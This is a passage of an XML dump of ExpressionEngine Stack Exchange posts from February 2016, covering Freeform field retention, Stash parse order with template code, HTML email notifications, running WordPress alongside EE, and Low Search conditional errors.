&amp;lt;/div&amp;gt;&#xA;{/exp:freeform:composer}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7062" LastActivityDate="2016-02-05T11:06:31.290" Title="Freeform Pro Composer - retain field values on error" Tags="|solspace-freeform|validation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35475" PostTypeId="2" ParentId="35474" CreationDate="2016-02-05T11:06:31.290" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/32897/how-to-set-up-a-sticky-email-or-tel-type-field-in-freeform-pro&quot;&gt;Someone raised this issue previously&lt;/a&gt;, the answer from Solspace at the time was no. I always submit via Ajax, then I can smoothly show errors, or feedback messages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although I stumbled across &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/26065/freeform-loses-its-values-if-an-error-occurs-when-not-using-the-standard-freefo&quot;&gt;this question&lt;/a&gt; which indicates that values are stored in a {freeform:field:short_name} tag...?  Not tried.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://twitter.com/solspace/status/639612123451105281&quot; rel=&quot;nofollow noreferrer&quot;&gt;Another Solspace response&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other solutions:&#xA;&lt;a href=&quot;https://stackoverflow.com/questions/2246227/keep-values-selected-after-form-submission&quot;&gt;Using JavaScript &amp;amp; PHP&lt;/a&gt; - the issue here is that Freeform posts to an ACT url, not the actual page, so wouldn't be able to use GET or POST back onto the same (return) page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/23879248/keep-the-selected-value-after-submit&quot;&gt;JQuery Cookie Plugin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/23879248/keep-the-selected-value-after-submit&quot;&gt;localstorage&lt;/a&gt; (same link as above, 2nd answer)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/25641363/how-to-keep-values-in-textbox-even-after-refreshing-the-same-page-in-html&quot;&gt;JQuery Cookie&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But to be honest, it'll be far easier to just use Ajax than any of the above.&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2016-02-05T11:06:31.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35476" PostTypeId="2" ParentId="35466" CreationDate="2016-02-05T13:01:54.970" Score="0" Body="&lt;p&gt;Note: I'm the dev of Low Search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look at &lt;a href=&quot;https://solspace.com/expressionengine/super-search#compare&quot; rel=&quot;nofollow&quot;&gt;the comparison table&lt;/a&gt; (which I helped set up together with the Solspace team), then you'll see that &quot;Accent-insensitive (diacritics)&quot; -- the special characters you're referring to -- is not supported by Super Search. As far as I'm aware, &lt;a href=&quot;http://gotolow.com/addons/low-search&quot; rel=&quot;nofollow&quot;&gt;Low Search&lt;/a&gt; is the only search solution in EE that allows for this functionality.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2016-02-05T13:01:54.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35477" PostTypeId="2" ParentId="35464" CreationDate="2016-02-05T13:11:35.043" Score="0" Body="&lt;p&gt;It's counter-intuitive but EE parses module tags form the outer layer inwards, rather than a block of tags at a time. This is called recursive parsing, or as I like to think of it, peeling an onion:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- this tag is parsed first --}&#xA;{exp:channel:entries channel='super_hub' limit='1'}&#xA;&#xA;    {!-- this tag is parsed third - set 'cfpid'  --}&#xA;    {exp:stash:set name='cfpid'}&#xA;        {shub_cfp_category:category_id}&#xA;    {/exp:stash:set}&#xA;&#xA;{/exp:channel:entries}&#xA;&#xA;{!-- this tag is parsed second - 'cfpid' does not yet exist --}&#xA;{exp:channel:entries &#xA;   channel='call_for_papers' &#xA;   limit='3' sort=&quot;desc&quot; &#xA;   dynamic='no' &#xA;   category=&quot;{exp:stash:get name='cfpid'}&quot; &#xA;   parse=&quot;inward&quot;&#xA;}&#xA;&#xA;   ...&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;First you need to ensure that 'cfpid' has been set before you use it, then you must ensure that the value you capture has no surrounding whitespace. There are two ways to do this in the same template, both of which use &lt;code&gt;{exp:stash:parse}&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- parse everything inside to a depth of 2 layers --}&#xA;{exp:stash:parse parse_depth=&quot;2&quot;}&#xA;  {exp:channel:entries channel='super_hub' limit='1'}&#xA;      {exp:stash:set name='cfpid'}{shub_cfp_category:category_id}{/exp:stash:set}&#xA;  {/exp:channel:entries}&#xA;{/exp:stash:parse}&#xA;&#xA;{exp:channel:entries &#xA;   channel='call_for_papers' &#xA;   limit='3' sort=&quot;desc&quot; &#xA;   dynamic='no' &#xA;   category=&quot;{exp:stash:get name='cfpid'}&quot;&#xA;   parse=&quot;inward&quot;&#xA;}&#xA;&#xA;   ...&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel='super_hub' limit='1'}&#xA;    {exp:stash:set name='cfpid'}{shub_cfp_category:category_id}{/exp:stash:set}&#xA;{/exp:channel:entries}&#xA;&#xA;{!-- delay parsing of this block of tags until the end of parsing --}&#xA;{!-- since Stash is doing the parsing, we can use {stash:cfpid} --}&#xA;{exp:stash:parse process=&quot;end&quot;}&#xA;  {exp:channel:entries &#xA;     channel='call_for_papers' &#xA;     limit='3' sort=&quot;desc&quot; &#xA;     dynamic='no' &#xA;     category=&quot;{stash:cfpid}&quot;&#xA;  }&#xA;&#xA;     ...&#xA;&#xA;  {/exp:channel:entries}&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="289" LastEditorUserId="289" LastEditDate="2016-02-05T13:18:07.470" LastActivityDate="2016-02-05T13:18:07.470" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35478" PostTypeId="1" CreationDate="2016-02-05T14:35:47.480" Score="0" ViewCount="77" Body="&lt;p&gt;What i try to achive is to have the following user structure:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Member Group 1: Group Admin, User 1, User 2,...&lt;br&gt;&#xA;Member Group 2: Group Admin, User 1, User 2,...&lt;br&gt;&#xA;Member Group 3 ...&lt;br&gt;&#xA;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want the group admin to be able to add/remove/edit members only within his group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this will not be possible with bare EE install, but I hope that with some ad-ons and a bit of tinkering will be doable. I've looked on the devot:ee website, but most of the plugins are quite cryptic in description and I would love someone would point me in the right direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So given the problem above, how would you approach the solution. Which plugins to use? Is it even possible without writing custom extension?&lt;/p&gt;&#xA;" OwnerUserId="7066" LastEditorUserId="7066" LastEditDate="2016-02-08T10:49:40.393" LastActivityDate="2016-06-18T08:49:26.537" Title="How to create a member group admin?" Tags="|members|extension|admin|member-management|groups|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35479" PostTypeId="2" ParentId="35464" CreationDate="2016-02-05T15:45:20.140" Score="0" Body="&lt;p&gt;So I rearranged the code a bit so the parse order made more sense. You all helped in answering this, but Mark helped me understand so I've given him the green hexagon. :)  Thanks all!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the working code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- retrieve layout --}&#xA;{embed='layouts/.default'}&#xA;&#xA;{!-- set some parameters --}&#xA;{exp:channel:entries channel='super_hub' limit='1' parse_depth=&quot;2&quot;}&#xA;&#xA;    {!-- set the title --}&#xA;    {exp:stash:set name='title'}&#xA;        {shub_display_title} |&#xA;    {/exp:stash:set}&#xA;&#xA;    {!-- grab the cfp category id --}&#xA;    {exp:stash:set name='cfpid'}{shub_cfp_category:category_id}{/exp:stash:set}&#xA;&#xA;{!-- close channel entries --}&#xA;{/exp:channel:entries}&#xA;&#xA;{!-- set content --}&#xA;{exp:stash:set name=&quot;content&quot;}&#xA;&#xA;    {!-- set some parameters --}&#xA;    {exp:channel:entries channel='super_hub' limit='1'}&#xA;    &amp;lt;article&amp;gt;&#xA;        &amp;lt;div class=&quot;wrapper&quot;&amp;gt;&#xA;&#xA;            &amp;lt;header&amp;gt;&#xA;                {!-- Add in display title and associated subtitles --}&#xA;                &amp;lt;h1&amp;gt;{shub_display_title}&amp;lt;/h1&amp;gt;&#xA;                {!-- add in sharing buttons --}&#xA;                {cpb_ptl_shr}&#xA;            &amp;lt;/header&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;content&quot;&amp;gt;&#xA;                &amp;lt;section class=&quot;shub&quot;&amp;gt;&#xA;                    {shub_playa_campaigns}&#xA;                        &amp;lt;div class=&quot;shubitem{switch=' ie-switch-alpha| ie-switch-beta'}&quot;&amp;gt;&#xA;                        {exp:switchee variable='{channel_short_name}' parse='inward'}&#xA;&#xA;                            {!-- campaign page --}&#xA;                            {case value='campaign_page'}&#xA;                                &amp;lt;div class=&quot;item__img&quot;&amp;gt;&#xA;                                    {if '{campaign_hero_image}' != ''}&#xA;                                        {exp:ce_img:single src=&quot;{campaign_hero_image}&quot; crop=&quot;yes|left,top|0,0&quot;}&#xA;                                    {if:else}&#xA;                                        {exp:ce_img:single src=&quot;/assets/img/bdg/TFO-placeholder-hero.png&quot; crop=&quot;yes|left,top|0,0&quot;}&#xA;                                    {/if}&#xA;                                &amp;lt;/div&amp;gt;&#xA;                                &amp;lt;h3 class=&quot;item__header&quot;&amp;gt;&amp;lt;a href=&quot;{page_url}&quot;&amp;gt;CAM {campaign_display_title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;                                &amp;lt;a href=&quot;{page_url}&quot;&amp;gt;&amp;lt;div class=&quot;item__description&quot;&amp;gt;&#xA;                                    {exp:ce_str:ing allow_eecode remove_html truncate=&quot;200&quot;}{campaign_introductory_copy}{/exp:ce_str:ing}&#xA;                                &amp;lt;/div&amp;gt;&amp;lt;/a&amp;gt;  &#xA;                            {/case}&#xA;&#xA;                            {!-- hub page --}&#xA;                            {case value='hub_page'}&#xA;                                &amp;lt;div class=&quot;item__img&quot;&amp;gt;&#xA;                                    {if '{hub_hero_image}' != ''}{hub_hero_image}&amp;lt;img src=&quot;{url}&quot;&amp;gt;{/hub_hero_image}{/if}&#xA;                                &amp;lt;/div&amp;gt;&#xA;                                &amp;lt;h3 class=&quot;item__header&quot;&amp;gt;&amp;lt;a href=&quot;{page_url}&quot;&amp;gt;HUB {hub_display_title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;                                &amp;lt;a href=&quot;{page_url}&quot;&amp;gt;&amp;lt;div class=&quot;item__description&quot;&amp;gt;&#xA;                                    {exp:ce_str:ing allow_eecode remove_html truncate=&quot;200&quot;}{hub_introductory_copy}{/exp:ce_str:ing}&#xA;                                &amp;lt;/div&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;                            {/case}&#xA;&#xA;                            {!-- listing page --}&#xA;                            {case value='listing_page'}&#xA;                                &amp;lt;div class=&quot;item__img&quot;&amp;gt;&#xA;                                    {if '{listing_hero_image}' != ''}{listing_hero_image}&amp;lt;img src=&quot;{url}&quot;&amp;gt;{/listing_hero_image}{/if}&#xA;                                &amp;lt;/div&amp;gt;&#xA;                                &amp;lt;h3 class=&quot;item__header&quot;&amp;gt;&amp;lt;a href=&quot;{page_url}&quot;&amp;gt;LIS {listing_display_title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;                                &amp;lt;a href=&quot;{page_url}&quot;&amp;gt;&amp;lt;div class=&quot;item__description&quot;&amp;gt;    &#xA;                                    {exp:ce_str:ing allow_eecode remove_html truncate=&quot;200&quot;}{listing_introductory_copy}{/exp:ce_str:ing}&#xA;                                &amp;lt;/div&amp;gt;&amp;lt;/a&amp;gt;&#xA;                            {/case}&#xA;&#xA;                        {/exp:switchee}&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    {/shub_playa_campaigns}&#xA;                &amp;lt;/section&amp;gt;&#xA;            &amp;lt;/div&amp;gt; {!-- /.content --}&#xA;            {!-- close channel entries --}&#xA;            {/exp:channel:entries}&#xA;&#xA;&#xA;            {!-- secondary content --}&#xA;            &amp;lt;div class=&quot;secondary&quot;&amp;gt;&#xA;                &amp;lt;!-- CFP feed --&amp;gt;&#xA;                &amp;lt;aside&amp;gt;&#xA;                    &amp;lt;h2&amp;gt;Call for papers&amp;lt;/h2&amp;gt;&#xA;&#xA;                    &amp;lt;div class=&quot;cfp-feed&quot;&amp;gt;&#xA;&#xA;                        {!-- pull in recent CFPs --}&#xA;                        {exp:channel:entries channel='call_for_papers' limit='3' sort=&quot;desc&quot; dynamic='no' category=&quot;{exp:stash:get name='cfpid'}&quot; parse=&quot;inward&quot;}&#xA;&#xA;                            &amp;lt;div class=&quot;cfp-feed__item{switch=' ie-switch-alpha| ie-switch-beta'}&quot;&amp;gt; &#xA;&#xA;                                &amp;lt;div class=&quot;cfp-feed__item__img&quot;&amp;gt;&#xA;                                    {exp:playa:children field=&quot;cfp_journal&quot;}&#xA;                                        &amp;lt;a href=&quot;#{entry_id}&quot;&amp;gt;&#xA;                                        {!-- &amp;lt;img class=&quot;cover&quot; src=&quot;/uploads/images/journals/covers/{journal_acronym}.jpg&quot; alt=&quot;{title}&quot;/&amp;gt; --}&#xA;                                        &amp;lt;img src=&quot;http://placehold.it/90x120&quot;&amp;gt;&#xA;                                        &amp;lt;/a&amp;gt;&#xA;                                    {/exp:playa:children}&#xA;                                &amp;lt;/div&amp;gt;&#xA;&#xA;                                &amp;lt;div class=&quot;cfp-feed__item__description&quot;&amp;gt;&#xA;                                    &amp;lt;a href=&quot;#{entry_id}&quot;&amp;gt;{cfp_display_title}&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;&#xA;                                    &amp;lt;em&amp;gt;{cfp_journal}{title}{if journal_subtitle}: {journal_subtitle}{/if}{/cfp_journal}&amp;lt;/em&amp;gt;&amp;lt;br&amp;gt;&#xA;                                    {if cfp_deadline}&amp;lt;time datetime=&quot;{cfp_deadline format=&quot;{DATE_W3C}&quot;}&quot;&amp;gt;Deadline: {cfp_deadline format=&quot;%j %F %Y&quot;}&amp;lt;/time&amp;gt;&amp;lt;br&amp;gt;{/if}&#xA;                                &amp;lt;/div&amp;gt;&#xA;&#xA;                            &amp;lt;/div&amp;gt;&#xA;&#xA;                        {/exp:channel:entries}&#xA;&#xA;                    &amp;lt;/div&amp;gt;&#xA;&#xA;                &amp;lt;/aside&amp;gt;&#xA;&#xA;                &amp;lt;aside class=&quot;subject-profile&quot;&amp;gt;&#xA;                    &amp;lt;h2&amp;gt;Social Media for this subject&amp;lt;/h2&amp;gt;&#xA;                    &amp;lt;ul class=&quot;iconic&quot;&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&amp;lt;i class=&quot;fa fa-facebook fa-2x&quot;&amp;gt;&amp;lt;/i&amp;gt; &amp;lt;a href=&quot;#&quot;&amp;gt;Facebook&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&amp;lt;i class=&quot;fa fa-twitter fa-2x&quot;&amp;gt;&amp;lt;/i&amp;gt; &amp;lt;a href=&quot;#&quot;&amp;gt;Twitter&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                    &amp;lt;/ul&amp;gt;&#xA;                &amp;lt;/aside&amp;gt;&#xA;&#xA;                &amp;lt;aside class=&quot;promotion&quot;&amp;gt;&#xA;                    &amp;lt;h2&amp;gt;Sign up to stuff&amp;lt;/h2&amp;gt;&#xA;                    &amp;lt;ul class=&quot;iconic&quot;&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&amp;lt;i class=&quot;fa fa-envelope&quot;&amp;gt;&amp;lt;/i&amp;gt; &amp;lt;a href=&quot;#&quot;&amp;gt;Link to a bulletin or something&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&amp;lt;i class=&quot;fa fa-rss&quot;&amp;gt;&amp;lt;/i&amp;gt; &amp;lt;a href=&quot;#&quot;&amp;gt;Perhaps an RSS feed?&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                    &amp;lt;/ul&amp;gt;&#xA;                &amp;lt;/aside&amp;gt;&#xA;&#xA;            &amp;lt;/div&amp;gt; &amp;lt;!-- /.secondary --&amp;gt;&#xA;&#xA;        &amp;lt;/div&amp;gt; {!-- /.wrapper --}&#xA;&#xA;    &amp;lt;/article&amp;gt;&#xA;&#xA;&#xA;    &amp;lt;footer&amp;gt;&#xA;        &amp;lt;div class=&quot;wrapper&quot;&amp;gt;&#xA;            &amp;lt;!-- {cpb_ptl_pub_date} --&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/footer&amp;gt;&#xA;&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6658" LastActivityDate="2016-02-05T15:45:20.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35480" PostTypeId="1" CreationDate="2016-02-05T15:56:14.417" Score="0" ViewCount="243" Body="&lt;p&gt;I have set the Default Mail Format in Email Configuration to HTML but email notifications are still being sent as plain text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have looked at the other posts regarding this issue but I could not find a definitive answer on how to get this to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="434" LastActivityDate="2016-10-04T15:03:52.080" Title="Send HTML Email for Notifications" Tags="|html-email|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35481" PostTypeId="2" ParentId="35455" CreationDate="2016-02-05T16:40:54.057" Score="0" Body="&lt;p&gt;(I'm with Vector; we own CartThrob)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two ways to do this, depending on how much customization you need:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You can use conditionals inside the order notification template. Something like &lt;code&gt;{if channel_id == '2'}{/if}&lt;/code&gt; (of the purchased item) in the code, and then have different content based on that. &lt;/li&gt;&#xA;&lt;li&gt;For a lot more customization you can turn off the default notifications, and use the post-purchase hook with a custom extension to send your own emails. This way you can run through the purchased items and do whatever you need.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Also, is it possible to order both items at once on your site? If so you'll want to think through what happens then. &lt;/p&gt;&#xA;" OwnerUserId="376" LastActivityDate="2016-02-05T16:40:54.057" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35482" PostTypeId="2" ParentId="35480" CreationDate="2016-02-05T18:37:50.230" Score="1" Body="&lt;p&gt;You need to go into the notification templates and add what ever markup you want to include.  By default, they are text only.&#xA;Design-&gt;Message Pages-&gt;Email Notifications&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2016-02-05T18:37:50.230" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35483" PostTypeId="2" ParentId="35473" CreationDate="2016-02-05T20:57:19.427" Score="1" Body="&lt;p&gt;The minimum required EE version for Wygwam 4 is EE 3.1.0, which is why you're getting the errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to download an EE 2.x compatible version of Wygwam, you can via Devot:ee like so: &lt;a href=&quot;https://twitter.com/devot_ee/status/695657856733990912&quot; rel=&quot;nofollow&quot;&gt;https://twitter.com/devot_ee/status/695657856733990912&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2016-02-05T20:57:19.427" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35485" PostTypeId="1" CreationDate="2016-02-05T22:09:38.307" Score="0" ViewCount="73" Body="&lt;p&gt;I have a prospective client whose current site is a combination of HTML pages and a Wordpress news blog. The blog has hundreds of entries and the client wants to leave that in WP rather then attempt to import to EE. Importing would mean a massive amount of tedious manual transfering of data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the question is - is it possible to run an EE site that incorporates a WP blog? Can WP run in a subdomain then somehow display WP posts inside an EE template?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this is not ideal but this is what they want.&lt;/p&gt;&#xA;" OwnerUserId="3709" LastActivityDate="2016-02-06T08:25:43.020" Title="Display Wordpress blog entries inside Expression Engine template?" Tags="|ee2|templates|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35486" PostTypeId="2" ParentId="35485" CreationDate="2016-02-06T03:38:11.017" Score="1" Body="&lt;p&gt;Well, there are ways to run the two next to each other, or even easier is one inside the other. For example; you create a sub-folder in your main EE installation and run WP in that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExpressionEngine --&amp;gt; www.domain.com/&#xA;WordPress --&amp;gt;        www.domain.com/blog/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your WP site would need to be configured to run the blog roll as it's home page. You'll be able to share CSS and JS assets between the two easily enough, but you'll have to manually update templates in both EE and WP when you make changes you want to match in your global (combined EE+WP) site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have personally imported WP posts into an EE channel before. It was a pain in the ass and basically required constructing a bunch of regular expressions to separate out different parts of the WP posts and input them in to corresponding EE entries and fields. It did require some manual review to fix little content issue imports, but it was by-and-large an automated import and not a full manual import. The viability of writing an import script depends on your use cases and also on the consistency of the blog posts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could, say, create a channel with matching fields to a WP post (title, url-title, featured image, content (as, say, a Wygwam field)) and just directly import them like that. Again, depending on the blog use-case and consistency, this is possibly viable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another possibility is to use the &lt;code&gt;query&lt;/code&gt; tag to query the WP posts in a special template for the blog. But this is barely scratching the surface of the complexity of creating a template group that scrapes from the WP posts table. But I see this possibly doable. It also depends on how complex the WP blog is (WP posts are flat, or are there all sorts of categories a post could be tagged as? How about file assets?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Overall, I would personally recommend writing an import script. You say &lt;code&gt;hundreds of entries&lt;/code&gt;; that's pretty easy to review after a script import. If it were thousands than I'd not consider it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If import really isn't an option, running WP inside of a sub-folder of the EE web-root is your next best option. It will require a lot more maintenance if the site is to have a global matching theme and header/footer element structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Past that, I wouldn't touch it. Why is the client moving to EE if they don't want to utilize it's advantages over WP? And the legacy maintenance of watching a single blog... and I haven't even touched the worst part: are they going to want to write new news blog entries in EE, but still have them mixed with the old WP posts? Not happening (welllll sure, doable, but crazy amount of hours writing a very complex custom module to mix the EE Channels Entries tag with hand-written WP posts reader methods and... oh god, WHY?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh and if you wanted to run WP on a sub-domain and just import rendered views instead of moving the installation to a sub-folder, you can use &lt;code&gt;mod_proxy&lt;/code&gt;. But this is another rabbit hole; use a sub-folder for this option.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2016-02-06T03:38:11.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35487" PostTypeId="1" AcceptedAnswerId="35489" CreationDate="2016-02-06T07:56:08.203" Score="0" ViewCount="22" Body="&lt;p&gt;I'm having two PHP Errors while testing a basic Low Search example. The code can be found &lt;a href=&quot;http://pastie.org/10710807&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The errors shows &lt;strong&gt;only while logged in&lt;/strong&gt; (afaik as super-admin). I'm using EE 2.8.1. Results are working fine.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;A PHP Error was encountered&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Severity: User Warning&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Message: Invalid EE Conditional Variable: {if low_search_category ~ '/\b'.category_id.'\b/'}&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Filename: libraries/Functions.php&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Line Number: 2640&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;A PHP Error was encountered&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Severity: Warning&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Message: Cannot modify header information - headers already sent by (output started at /home/colegios/public_html/system/codeigniter/system/core/Exceptions.php:170)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Filename: core/Common.php&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Line Number: 442&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Found &lt;a href=&quot;https://support.ellislab.com/bugs/detail/20437/php-errors-for-custom-field-conditionals-where-the-data-contains-quotation-&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; at EE bug; but I don't know how to solve it? Should I upgrade to a newer EE2 version? 2.8.1 is stable for me and I want to avoid problems with others addons.&lt;/p&gt;&#xA;" OwnerUserId="3374" LastEditorUserId="172" LastEditDate="2016-02-06T09:46:18.770" LastActivityDate="2016-02-06T09:46:18.770" Title="Conditionals in Low Seach examples giving php errors" Tags="|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35488" PostTypeId="2" ParentId="35485" CreationDate="2016-02-06T08:25:43.020" Score="2" Body="&lt;p&gt;Just to add to @jrothafer's answer, this should hopefully sort your import issue:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://devot-ee.com/add-ons/datagrab&quot; rel=&quot;nofollow&quot;&gt;Data Grab&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://brandnewbox.co.uk/support/details/importing_data_into_expressionengine_2_from_wordpress&quot; rel=&quot;nofollow&quot;&gt;Article on importing Wordpress site into EE&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I'd have to highlight his statement regarding maintenance - you &lt;strong&gt;have&lt;/strong&gt; to keep Wordpress up-to-date otherwise it's a security risk, although it's good to keep EE up-to-date, it's not essential due to it's security and stability. So will increase maintenance and support time/costs.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2016-02-06T08:25:43.020" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35489" PostTypeId="2" ParentId="35487" CreationDate="2016-02-06T09:44:32.327" Score="2" Body="&lt;p&gt;To quote the top of &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/examples&quot; rel=&quot;nofollow&quot;&gt;the example page in the Low Search docs&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: these examples feature conditionals using the &lt;a href=&quot;https://docs.expressionengine.com/latest/templates/conditionals.html#matches-operator&quot; rel=&quot;nofollow&quot;&gt;Matches Operator&lt;/a&gt; introduced in EE 2.9.0. If you’re using an older version of ExpressionEngine, you can use the &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/parameters#in-conditionals&quot; rel=&quot;nofollow&quot;&gt;IN conditionals&lt;/a&gt; instead.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, either use the &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/parameters#in-conditionals&quot; rel=&quot;nofollow&quot;&gt;IN conditionals&lt;/a&gt; and continue using EE 2.8.1, or upgrade EE to v2.10.3, which is the latest v2 version at the moment.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2016-02-06T09:44:32.327" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
